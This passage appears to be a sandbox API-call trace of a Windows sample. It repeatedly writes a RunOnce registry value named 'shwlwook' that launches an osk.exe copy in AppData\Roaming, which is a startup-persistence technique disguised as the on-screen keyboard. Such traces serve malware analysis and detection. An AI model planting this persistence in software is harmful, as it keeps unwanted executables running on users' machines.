lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.477] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.477] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.477] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.478] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.478] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.478] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.478] RegCloseKey (hKey=0x14c) returned 0x0 [0270.479] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.479] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.493] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.493] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.494] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.494] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.494] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.494] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.495] RegCloseKey (hKey=0x14c) returned 0x0 [0270.495] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.495] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.508] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.508] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.509] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.509] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.509] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.509] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.509] RegCloseKey (hKey=0x14c) returned 0x0 [0270.510] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.510] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.524] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.524] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.524] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.525] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.525] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.525] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.525] RegCloseKey (hKey=0x14c) returned 0x0 [0270.525] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.526] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.540] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.540] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.540] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.540] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.541] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.541] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.541] RegCloseKey (hKey=0x14c) returned 0x0 [0270.541] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.541] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.555] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.555] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.556] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.556] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.556] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.556] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.556] RegCloseKey (hKey=0x14c) returned 0x0 [0270.557] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.557] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.571] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.571] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.571] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.571] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.571] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.572] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.572] RegCloseKey (hKey=0x14c) returned 0x0 [0270.572] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.572] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.587] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.587] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.587] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.587] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.587] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.588] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.588] RegCloseKey (hKey=0x14c) returned 0x0 [0270.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.588] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.602] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.602] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.602] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.603] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.603] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.603] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.603] RegCloseKey (hKey=0x14c) returned 0x0 [0270.604] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.604] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.618] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.618] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.618] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.618] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.618] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.619] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.619] RegCloseKey (hKey=0x14c) returned 0x0 [0270.619] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.619] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.633] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.633] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.634] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.634] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.634] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.635] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.635] RegCloseKey (hKey=0x14c) returned 0x0 [0270.635] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.635] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.650] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.650] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.650] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.651] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.651] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.651] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.651] RegCloseKey (hKey=0x14c) returned 0x0 [0270.651] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.651] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.711] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.711] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.711] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.712] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.712] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.712] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.712] RegCloseKey (hKey=0x14c) returned 0x0 [0270.712] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.713] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.727] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.727] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.727] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.728] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.728] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.728] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.728] RegCloseKey (hKey=0x14c) returned 0x0 [0270.728] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.730] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.745] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.745] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.745] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.746] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.746] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.746] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.746] RegCloseKey (hKey=0x14c) returned 0x0 [0270.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.747] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.886] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.886] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.887] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.887] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.887] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.887] RegCloseKey (hKey=0x14c) returned 0x0 [0270.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.888] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.914] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.915] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.915] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.915] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.915] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.915] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.916] RegCloseKey (hKey=0x14c) returned 0x0 [0270.916] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.916] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.930] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.930] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.931] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.931] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.931] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.931] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.931] RegCloseKey (hKey=0x14c) returned 0x0 [0270.932] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.932] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0270.946] TranslateMessage (lpMsg=0x95f69c) returned 0 [0270.946] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0270.947] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0270.947] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0270.947] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0270.947] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0270.948] RegCloseKey (hKey=0x14c) returned 0x0 [0270.948] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0270.948] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0274.817] TranslateMessage (lpMsg=0x95f69c) returned 0 [0274.817] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0274.817] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0274.818] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0274.818] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0274.818] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0274.818] RegCloseKey (hKey=0x14c) returned 0x0 [0274.818] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0274.818] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0274.834] TranslateMessage (lpMsg=0x95f69c) returned 0 [0274.835] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0274.835] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0274.835] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0274.835] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0274.836] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0274.836] RegCloseKey (hKey=0x14c) returned 0x0 [0274.836] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0274.836] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0274.852] TranslateMessage (lpMsg=0x95f69c) returned 0 [0274.852] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0274.853] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0274.853] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0274.853] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0274.854] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, 